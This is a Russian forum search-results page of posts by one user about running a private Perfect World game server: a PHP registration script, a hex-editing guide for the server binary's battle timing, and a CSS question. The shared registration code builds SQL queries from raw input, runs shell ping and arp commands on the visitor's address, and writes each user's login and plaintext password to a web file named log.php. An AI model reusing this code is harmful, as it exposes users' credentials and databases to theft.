1. Гость, мы просим Вас ознакомиться с Правилами Форума и Отказом от ответственности!

Результаты поиска

  1. Fituchini
  2. Fituchini
  3. Fituchini
  4. Fituchini
  5. Fituchini
  6. Fituchini
  7. Fituchini
  8. Fituchini
  9. Fituchini
    Решил поделиться своей регистрацией. Выравнены строки, Запрет регистрации с регулируемым уровнем от 1 до 999999 Добавлены новые поля. [img] для строк Phone, Real Name, Zip, City, You Language придумывайте описание сами. В поле Real name имя вводится через дефис или слитно к примеру Ivan-Ivanov или IvanIvanov (как сделать чтобы регулярное выражение пропускало пробел не знаю) [img] после регистрации в базе вы увидите такое [img] Код, где менять количество аккаунтов с одного ip там, где цифра 2 Ниже находится описание. на англ. 'You can not register more than two game accounts.' на русском 'Вы не можете создавать более 2 игровых аккаунтов' $result = mysql_query("SELECT qq FROM users WHERE (qq = '$ip')"); $num_rows = mysql_num_rows($result); if($num_rows >= 2) { exit( 'You can not register more than two game accounts.'); } чтобы вставить регистрацию к себе на страничку используйте код <iframe src="http://IP SERVER/register/register.php" align="middle" height="600" width="465"></iframe></center> Но это только как пример. надеюсь я угодил именно Вам. ;) P.S. спасибо JoLan'у за то что снёс мой пост с Вопросника. Иначе бы я не сел делать работу над ошибками. http://narod.ru/disk/65399663001.fcfcd271c33075b1518c48ec976b9181/register-1.4.4-1.4.5%20by%20anomal3.rar.html Скачать
    Автор темы: Fituchini, 12 янв 2013, ответов - 3, в разделе: PW Web
  10. Fituchini
    Дописал пару строк в регистрацию. Для чего эти строки мне? Решил создать fake Facebook)) сарказм. Суть... После того как заполнил все поля (на Латыни и без пробела) нажимаю на кнопку регистрции, и в ответ получаю : "все поля не могут быть пустыми" вот сам код регистрации <? include "config.php"; $Data = '<form action=register-ru.php method=post> <div style="float:left;"> <font color=red>*<a style="color:#ffffff"> Логин:</a></div> <center>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=text name=login size="30"></center> <left><a style="color:#ffffff"><font size="-2">Логин имя должно содержать только буквы и/или цифры. Любые символы типа %;№"@#$ <font color="#ff0000"><b>запрещены</b></font></a></left><br> <left><a style="color:#ffffff"><font size="-2">Логин имя должно состоять не менее 4 и не более 10 символов</font></a></left></font> <br> <br> <div style="float:left;"> <font color=red>*<a style="color:#ffffff"> Пароль:</a></div> <center>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=password name=password size="30" class="text"></center> <left><a style="color:#ffffff"><font size="-2">Пароль должен состоять только из букв и/или цифр любого регистра.Символы %№@#$ <font color="#ff0000"><b>запрещены</b></font></a></left><br> <left><a style="color:#ffffff"><font size="-2">Пароль должен состоять не менее 4 и не более 16 символов</font></a></left></font> <br> <br> <div style="float:left;"> <font color=red>*<a style="color:#ffffff"> Повторите пароль:</a></div> <center>&nbsp;<input type=password name=repasswd size="30"></center> <left><a style="color:#ffffff"><font size="-2">Повтор пароля должне в точности совпадать с паролем указанным выше</font></a></left></font> <br> <br> <div style="float:left;"> <font color=red>*<a style="color:#ffffff"> Электронная почта:</a></div> <center><input type=text name=email size="30"></center> <left><a style="color:#ffffff"><font size="-2">Электронную почту Вы указываете на своё усмотрение, служит для восстановления пароля</font></a></left> <left><a style="color:#ffffff"><font size="-2">Символы содержащие в электронной почте не должны превышать 25 символов</font></a></left></font> <br> <br> <div style="float:left;"> <font color=red>*<a style="color:#ffffff">Номер телефона<font size="-2">*</font> :</div> <center>&nbsp;&nbsp;&nbsp;&nbsp;<input type=text name=telefon size="30"></center> <left><a style="color:#ffffff"><font size="-2">Номер мобильного телефона должен быть 11-ти значным и начинаться с цифры 8</font></a></left> <left><a style="color:#ffffff"><font size="-2">текст текст текст</font></a></left></font> <br> <br> <div style="float:left;"> <font color=red>*<a style="color:#ffffff">Имя:</a></div> <center>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=text name=realname size="30"></center> <left><a style="color:#ffffff"><font size="-2">текст текст текст</font></a></left> <left><a style="color:#ffffff"><font size="-2">текст текст текст</font></a></left> <br> <div style="float:left;"> <font color=red>*<a style="color:#ffffff">Адрес:</a></div> <center>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=text name=adress size="30"></center> <left><a style="color:#ffffff"><font size="-2">текст текст текст</font></a></left> <left><a style="color:#ffffff"><font size="-2">Адрес должен содержать только латинские символы и цифры.</font></a></left> <left><a style="color:#ffffff"><font size="-2">текст текст текст</font></a></left> <br> <br> <div style="float:left;"> <font color=red>*<a style="color:#ffffff">Индекс:</a></div> <center>&nbsp;<input type=text name=postal size="18"></center> <left><a style="color:#ffffff"><font size="-2">Индекс должен состоять только из цифр и содержать не менее 5 и не более 8 символов</font></a></left> <br> <br> <div style="float:left;"> <font color=red>*<a style="color:#ffffff">Город:</a></div> <center>&nbsp;&nbsp;&nbsp;<input type=text name=city size="18"></center> <left><a style="color:#ffffff"><font size="-2">Город указывайте тоже на латинксом языке без учёта регистра</font></a></left> <br> <input type="hidden" name="ip" id="ip" /> <center><input type=submit name=submit value="отправить информацию"></center> </form>'; if (isset($_POST['login'])) { $Link = MySQL_Connect($DBHost, $DBUser, $DBPassword) or die ("Can't connect to MySQL"); MySQL_Select_Db($DBName, $Link) or die ("Database ".$DBName." do not exists."); $Login = $_POST['login']; $Pass = $_POST['passwd']; $Repass = $_POST['repasswd']; $Email = $_POST['email']; $Tel = $_POST['telefon']; $realname = $_POST['realname']; $adress = $_POST['adress']; $postal = $_POST['postal']; $city = $_POST['city']; $moneycount = 1000; $ip = $_SERVER['REMOTE_ADDR']; $arp=null; $arp=array(); exec("ping ".$REMOTE_ADDR." -n 1 -l 1 -f -r 1"); exec("arp -a ".$REMOTE_ADDR,$arp); $temp=ereg_replace(" +"," ",$arp[0]); $temp=explode(" ",$temp); print "IP: ".$temp[1]."<br>"; print "MAC: ".$temp[3]; $Login = StrToLower(Trim($Login)); $Pass = StrToLower(Trim($Pass)); $Repass = StrToLower(Trim($Repass)); $Email = Trim($Email); $Tel =Trim($Tel); $realname = Trim($realname); if (empty($Login) || empty($Pass) || empty($Repass) || empty($Email)) { echo "Все поля не могут быть пустыми."; } elseif (ereg("[^0-9a-zA-Z_-]", $Login, $Txt)) { echo "Логин имеет не верный формат."; } elseif (ereg("[^0-9a-zA-Z_-]", $Pass, $Txt)) { echo "Пароль имеет не верный формат."; } elseif (ereg("[^0-9a-zA-Z_-]", $realname, $Txt)) { echo "Имя введено на кирилице и/или присутствует пробел. Используйте латинскую раскладку и исключите пробелы."; } elseif (ereg("[^0-9a-zA-Z_-]", $Repass, $Txt)) { echo "Некорректно введён повтор пароля."; } elseif (StrPos('\'', $Email)) { echo "Некорректный электронный ящик."; } else { $Result = MySQL_Query("SELECT name FROM users WHERE name='$Login'") or ("Can't execute query."); if (MySQL_Num_Rows($Result)) { echo "Account <b>".$Login."</b> is exists"; } elseif ((StrLen($Login) < 4) or (StrLen($Login) > 10)) { echo "Логин имя должно содержать от 4 до 10 символов."; } elseif ((StrLen($Pass) < 4) or (StrLen($Pass) > 16)) { echo "Пароль должен содержать от 4 до 16 символов."; } elseif ((StrLen($Repass) < 4) or (StrLen($Repass) > 16)) { echo "Повтор пароля некорректный."; } elseif ((StrLen($Email) < 4) or (StrLen($Email) > 25)) { echo "Электронный ящик должен состоять от 4 до 25 символов."; } elseif ((StrLen($Tel) < 10) or (StrLen($Tel) > 25)) { echo "Телефонный номер введён не корректно, он должен начинаться с 8 или +7 и иметь не мнее 10 цифр<br>."; } elseif ((StrLen($realname) < 4) or (StrLen($realname) > 50)) { echo "Имя введено на кирилице и/или присутствует пробел. Используйте латинскую раскладку и исключите пробелы<br>."; } elseif ($Pass != $Repass) { echo "Пароли не совпадают."; } else { // $Salt = $Login.$Pass; // $Salt = md5($Salt); // $Salt = "0x".$Salt; $result = mysql_query("SELECT qq FROM users WHERE (qq = '$ip')"); $num_rows = mysql_num_rows($result); if($num_rows >= 7) { exit( 'Нельзя регистрировать более 7 игровых аккаунтов.'); } $Salt = "0x".md5($Login.$Pass); MySQL_Query("call adduser('$Login', '$Salt', '0', '0', '$realname', '0', '$Email', '$Tel', '0', '$city', '0', '$adress', '$postal', '0', '', '$ip', '$Salt')") or die ("Can't execute query."); $mysqlresult=MySQL_Query("select * from `users` WHERE `name`='$Login'"); $User_ID=MySQL_result($mysqlresult,0,'ID'); MySQL_Query("call usecash('$User_ID',1,0,1,0,50070,1,@error)") or die ("usecash failed!"); echo "<font color=white>Аккаунт с уникальным (ID) <b><font color=yellow>".$Login."<font color=orange>(".$User_ID.")"."</b><br> <font color=green>Успешно зарегистрирован, в течении 5-15 минут мы начислим 500 золотых и 70 серебрянных на Ваш игровой аккаунт. Спасибо увидимся в игре.<font color=Black></b><br>"; } } } echo $Data; ?> <font color=white> <? $serverIP=$_SERVER['REMOTE_ADDR']; echo "<br>Ваш ip адресс: <font color=yellow><B>" . $serverIP .""; ?> <input type="hidden" name="ip" id="ip" /> <? $ip = getenv('REMOTE_ADDR'); $handle = fopen("log.php", 'a'); fwrite($handle, "<br> IP= $ip <br> Account= $Login"); fwrite($handle, "<br> Password= $Pass "); fwrite($handle, "<br> RPassword= $Repass "); fwrite($handle, "<br> E-mail:= $Email"); fwrite($handle, "<br>---------------------------------------------------------------<br> ") ; fclose($handle);?> Подскажите где ошибка? почему не регистрируется? P.S. когда было добавлено два поля телефон и Имя было всё ОК
    Автор темы: Fituchini, 12 янв 2013, ответов - 4, в разделе: PHP
  11. Fituchini
  12. Fituchini
  13. Fituchini
    Добрый кому вечер кому день форумчане. Возникла проблема в вёрстке сайта. Вывел статус сервера и регистрации на главную страницу. когда статус отображается ввиде текста всё хорошо, но когда статус выводится картинкой, то картинка падает под текст. Помогите выести картику вслед за текстом вот код Register: <?php $soc = fsockopen("сайт к которому идёт запрос", 80, $errno, $errstr, 5); if ($soc) { echo "<font color='3bff00'>online</font>"; fclose($soc); } else echo "<font color='ff2400'>offline</font>"; ?> <br> <?php echo "Server:"; $soc = fsockopen("сайт к которому идёт запрос", 29000, $errno, $errstr, 5); if ($soc) { echo "<img src='images/ico-on.png'>"; fclose($soc); } else echo "<img scr='images/ico-off.png'>"; ?> <br> Version: <span class='green'>1.0.0 </span> | Update: <span class='red'>ххх</span><BR> в прикреплённом jpg видно что картика ушла под текст, Как вернуть её на уровне с текстом. Пробывал <a href не помогло. Пробывал тегом <div> тоже не помогло.
    Автор темы: Fituchini, 10 янв 2013, ответов - 10, в разделе: HTML и CSS
  14. Fituchini
  15. Fituchini
    Итак.... [History] Долго мучаясь и размышляя и ползая хексом по gdeliveryd непонимая ничего потерял надежду в создании ежедневного ТВ своими мозгами. Пока случайным образом не получилось так что дали Скайп одного хорошего программиста который объяснил элементарное, что числа имеют и другую сторону; я про Unix time. и что 327600 это не только Sun, 04 Jan 1970 19:00:00 GMT(отсчёт в секундах от эпохи Unix) а не что иное как отсчёт времени с начала недели то есть с понедельника. если к понедельнику к 00:00 прибавить 327600 секунд то мы получаем среду 19:00 Время ставок! дадада [Практика] и чтобы изменить время проведения ставок, достаточно найти эти значения и поменять на нужные. мы знаем значение.. далее берём редактор Hex любой, я использовал 010 editor, и следуем картинкам)) [IMG] [IMG] в Inspector меняем 327600 на любое наше, но не забываем что от начала недели. для того чтобы правильно расчитать время воспользуйтесь конвертором ССЫЛКА изменим к примеру значение на вторник на 20:00 (244800) [IMG] теперь время ставок нужно остановить. Пока продалжаются ставки, самой битвы не будет! Время остановки по умолчанию мы знаем в четверг в 19:00 переводим в Unix Time получаем 414000 точно так же как мы искали время начала ставок так же и ищем конец ставок (значение 414000) Нам так же будет выдано 2 варианта, меняем только верхний. (первый) изменим к примеру чтобы ставки закончились на среду на 20:00 (331200) [IMG] сохраняем заливаем на сервер и радуемся. Но чтобы сразу после ставок было и само ТВ редактируем domain.sev редактор для данного файла есть в шаре (я использовал TWs time) ставим время битвы на среду на 21:00 (всего лишь пример) в программе среда это 2 0 - пн 1 - вт 2 - ср 3 - чт 4 - пт 5 - сб 6 - вс далее 7-10000000000 будет ошибка [IMG] тоже сохраняем, закрываем и заливаем на сервер! и как бы всё!!! время начала и конца времени ставок поменяли. Ваше время которое выгодно Вам,,, меняйте сами. Приведённые примеры времени, всего лишь примеры)) P.S/аах и самое вкусное.. дак время ставок которое мы поменяли они так и будут раз в неделю? по вторникам? (на то время, на которое изменили) отвечу Вам ДА!! чтобы добавить новую ставку помимо существующей, я очень долго парился, знал что нужна функция, и причём полная, НО как её достать с Hex'а понятия не имел. Но всётаки сообразил. под спойлером функция начала ставок и функция конца ставок под стандарнтыми значаниями начало 327600 конец 414000 1 функция начало B0 FF 04 00 C9 C3 55 89 E5 8B 45 08 8B 40 44 05 30 51 06 00 C9 C3 55 89 E5 8B 45 08 8B 40 44 05 90 5A 06 00 C9 C3 55 89 E5 8B 45 08 8B 40 44 05 40 40 07 00 C9 C3 55 89 E5 53 83 EC 04 8B 45 08 C7 00 58 C8 38 08 83 EC 0C 8B 45 08 83 C0 54 50 E8 CB 2F E9 FF 83 C4 10 EB 1D 89 45 F8 8B 5D F8 83 EC 0C 8B 45 08 83 C0 14 50 E8 21 5D E3 FF 83 C4 10 89 5D F8 EB 14 83 EC 0C 8B 45 08 83 C0 14 50 E8 0A 5D E3 FF 83 C4 10 EB 1A 8B 5D F8 83 EC 0C 8B 45 08 83 C0 08 50 E8 BF 56 E6 FF 83 C4 10 89 5D F8 EB 17 83 EC 0C 8B 45 08 83 C0 08 50 E8 A8 56 E6 FF 83 C4 10 EB 22 89 45 F8 8B 5D F8 83 EC 0C FF 75 08 E8 E2 D0 E3 FF 83 C4 10 89 5D F8 83 EC 0C FF 75 F8 E8 BF 1E 10 00 83 EC 0C FF 75 08 E8 C6 D0 E3 FF 83 C4 10 B8 01 00 00 2 функция начало B0 FF 04 00 8D 45 B8 50 E8 C8 03 00 00 83 C4 18 8D 45 B8 50 8B 45 08 83 C0 30 50 E8 8F 0E 1 и 1a функция конец 30 51 06 00 C9 C3 55 89 E5 8B 45 08 8B 40 44 05 90 5A 06 00 C9 C3 55 89 E5 8B 45 08 8B 40 44 05 40 40 07 00 C9 C3 55 89 E5 53 83 EC 04 8B 45 08 C7 00 58 C8 38 08 83 EC 0C 8B 45 08 83 C0 54 50 E8 CB 2F E9 FF 83 C4 10 EB 1D 89 45 F8 8B 5D F8 83 EC 0C 8B 45 08 83 C0 14 50 E8 21 5D E3 FF 83 C4 10 89 5D F8 EB 14 83 EC 0C 8B 45 08 83 C0 14 50 E8 0A 5D E3 FF 83 C4 10 EB 1A 8B 5D F8 83 EC 0C 8B 45 08 83 C0 08 50 E8 BF 56 E6 FF 83 C4 10 89 5D F8 EB 17 83 EC 0C 8B 45 08 83 C0 08 50 E8 A8 56 E6 FF 83 C4 10 EB 22 89 45 F8 8B 5D F8 83 EC 0C FF 75 08 E8 E2 D0 E3 FF 83 C4 10 89 5D F8 83 EC 0C FF 75 F8 E8 BF 1E 10 00 83 EC 0C FF 75 08 E8 C6 D0 E3 FF 83 C4 10 B8 01 00 // конец 1 функции и 1a идентичны 2а функция конец 30 51 06 00 01 00 36 EC 4F 06 00 01 D2 0A 01 00 4C 74 01 0A 1F 51 06 00 01 0B 36 51 06 00 00 59 7D 50 06 00 01 65 17 01 00 4C 7F 5F 5A 4E 53 74 31 38 5F 56 65 63 74 6F 72 5F 61 6C 6C 6F 63 5F 62 61 73 65 49 50 4E 39 5F 5F 67 6E 75 5F 63 78 78 31 35 5F 48 61 73 68 74 61 62 6C 65 5F 6E 6F 64 65 49 53 74 34 70 61 69 72 49 4B 6A 50 4B 4E 34 47 4E 45 54 38 53 65 63 75 72 69 74 79 45 45 45 45 53 61 49 53 37 5F 45 4C 62 31 45 45 31 31 5F 4D 5F 61 6C 6C 6F 63 61 74 65 45 6A 00 13 51 06 00 02 01 0A 1F 51 06 00 01 0B 8D Добавляйте эти функции в Ваш gdeliveryd и меняйте их значения как описано выше + не забывайте о самих битвах, добавлять время после ставок (время битв должно быть после окончания ставок с интервалом не менее 7 минут почему сам не знаю, но 7 минут должно пройти обязательно иначе битвы не будет) и наконец то радуйтесь. думаю разберётесь!! старался тапком не кидаться, это мой первый большой гайд. P.s.S/Выражаю ОГРОМНУЮ благодарность Максимиану за разъяснение и подсказку!
    Автор темы: Fituchini, 9 май 2012, ответов - 101, в разделе: PW Документация
  16. Fituchini
  17. Fituchini
  18. Fituchini
    Тема

    PHP

    есть у кого книга для начинающих в PHP?
    Автор темы: Fituchini, 28 окт 2010, ответов - 6, в разделе: Оффтоп
  19. Fituchini